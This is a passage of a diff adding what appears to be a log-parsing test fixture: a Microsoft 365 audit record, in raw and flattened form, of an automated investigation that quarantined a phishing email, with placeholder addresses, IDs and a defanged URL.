+ "original": "{\"Status\":\"Remediated\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Skipped\",\"Entities\":[{\"$id\":\"2\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"InvestigationType\":\"ZappedEmailInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"Resolved\\\",\\\"DetectionTechnology\\\":\\\"FingerPrintMatch\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"FullyRemediated\\\"}],\\\"InvestigationIds\\\":[\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages removed after delivery\\\",\\\"Description\\\":\\\"Malicious emails were delivered and later removed -V1.0.0.2\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"bounce@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"DeliveredAsSpam\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"en\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"JunkFolder\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"pass\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Address\\\":\\\"81.2.69.144\\\",\\\"Type\\\":\\\"ip\\\",\\\"Urn\\\":\\\"urn:IPEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"2314\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}",
+ "outcome": "success",
+ "provider": "AirInvestigation",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "Actions": [
+ {
+ "$id": "1",
+ "ActionApproval": "None",
+ "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890",
+ "ActionStatus": "Skipped",
+ "ActionType": "EmailRemediation",
+ "BulkName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox.",
+ "Entities": [
+ {
+ "$id": "2",
+ "AdditionalActionsAndResults": [
+ "OriginalDelivery: [N/A]"
+ ],
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Pass"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "pass"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "DeliveryAction": "DeliveredAsSpam",
+ "DeliveryLocation": "Quarantine",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "InternetMessageId": "",
+ "Language": "en",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "P1Sender": "bounce@example.com",
+ "P1SenderDomain": "example.com",
+ "P2Sender": "sender@example.com",
+ "P2SenderDisplayName": "name",
+ "P2SenderDomain": "example.com",
+ "ReceivedDate": "2023-12-31T23:59:59",
+ "Recipient": "user@example.com",
+ "Sender": "sender@example.com",
+ "SenderIP": "81.2.69.144",
+ "Source": "OATP",
+ "Subject": "subject",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "Threats": [
+ "ZapPhish",
+ "HighConfPhish"
+ ],
+ "Type": "mailMessage",
+ "Urls": [
+ "hxxp://test.local",
+ "hxxp://test.local",
+ "hxxp://test.local"
+ ],
+ "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890"
+ }
+ ],
+ "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "PendingType": "User",
+ "RelatedAlertIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "ResourceIdentifiers": [
+ {
+ "$id": "3",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "TimestampUtc": "2023-12-31T23:59:59"
+ }
+ ],
+ "CreationTime": "2023-12-31T23:59:59",
+ "Data": {
+ "flattened": {
+ "AlertDisplayName": "Email messages removed after delivery",
+ "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Category": "ThreatManagement",
+ "ConfidenceLevel": "Unknown",
+ "ConfidenceScore": 1,
+ "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Description": "Malicious emails were delivered and later removed -V1.0.0.2",
+ "DetectionTechnology": "FingerPrintMatch",
+ "EndTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "Entities": [
+ {
+ "$id": "3",
+ "AdditionalActionsAndResults": [
+ "OriginalDelivery: [N/A]"
+ ],
+ "AntispamDirection": "Inbound",
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Pass"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "pass"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "DeliveryAction": "DeliveredAsSpam",
+ "DeliveryLocation": "Quarantine",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "InternetMessageId": "",
+ "Language": "en",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "P1Sender": "bounce@example.com",
+ "P1SenderDomain": "example.com",
+ "P2Sender": "sender@example.com",
+ "P2SenderDisplayName": "name",
+ "P2SenderDomain": "example.com",
+ "ReceivedDate": "2023-12-31T23:59:59",
+ "Recipient": "user@example.com",
+ "Sender": "sender@example.com",
+ "SenderIP": "81.2.69.144",
+ "Source": "OATP",
+ "Subject": "subject",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "Threats": [
+ "ZapPhish",
+ "HighConfPhish"
+ ],
+ "Type": "mailMessage",
+ "Urls": [
+ "hxxp://test.local",
+ "hxxp://test.local",
+ "hxxp://test.local"
+ ],
+ "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "4",
+ "Address": "81.2.69.144",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "Source": "OATP",
+ "Type": "ip",
+ "Urn": "urn:IPEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "5",
+ "ClusterBy": "BodyFingerprintBin1;P2SenderDomain;ContentType",
+ "ClusterByValue": "5555555555;example.com;1",
+ "ClusterGroup": "BodyFingerprintBin1,P2SenderDomain",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "6",
+ "ClusterBy": "BodyFingerprintBin1;SenderIp;ContentType",
+ "ClusterByValue": "5555555555;81.2.69.144;1",
+ "ClusterGroup": "BodyFingerprintBin1,SenderIp",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "7",
+ "ClusterBy": "Subject;SenderIp;AntispamDirection;ContentType",
+ "ClusterByValue": "subject;81.2.69.144;1;1",
+ "ClusterGroup": "Subject,SenderIp,AntispamDirection",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (Subject:\"subject\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (AntispamDirection:\"1\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "8",
+ "ClusterBy": "Subject;P2SenderDomain;AntispamDirection;ContentType",
+ "ClusterByValue": "subject;example.com;1;1",
+ "ClusterGroup": "Subject,P2SenderDomain,AntispamDirection",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (Subject:\"subject\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (AntispamDirection:\"1\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ }
+ ],
+ "ExtendedLinks": [
+ {
+ "Href": "https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Label": "alert",
+ "Type": "webLink"
+ }
+ ],
+ "Intent": "Probing",
+ "InvestigationIds": [
+ "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890"
+ ],
+ "Investigations": [
+ {
+ "$id": "1",
+ "Id": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationStatus": "FullyRemediated"
+ }
+ ],
+ "IsIncident": false,
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ProviderName": "OATP",
+ "ResourceIdentifiers": [
+ {
+ "$id": "2",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "Severity": "Informational",
+ "SourceAlertType": "System",
+ "SourceTemplateType": "Threat_Single",
+ "StartTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "Status": "Resolved",
+ "TimeGenerated": "2023-12-31T23:59:59.0000000Z",
+ "VendorName": "Microsoft",
+ "Version": "3.0"
+ }
+ },
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "EndTimeUtc": "2023-12-31T23:59:59.000Z",
+ "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationType": "ZappedEmailInvestigation",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z",
